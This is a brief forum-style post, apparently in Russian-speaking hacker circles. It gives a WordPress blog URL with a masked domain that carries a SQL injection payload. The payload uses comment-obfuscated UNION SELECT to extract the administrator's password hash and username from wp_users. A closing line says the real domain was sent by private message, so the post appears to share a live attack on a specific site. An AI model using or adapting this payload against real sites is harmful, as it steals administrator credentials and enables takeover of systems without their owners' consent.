http://www.xxxxx.de/blog/?feed=rss2&p=100/**/union/**/select/**/concat(user_password,char(100),username),2/**/from/**/wp_users/**/where/**/user_id=1/*

сам домен в личку скинул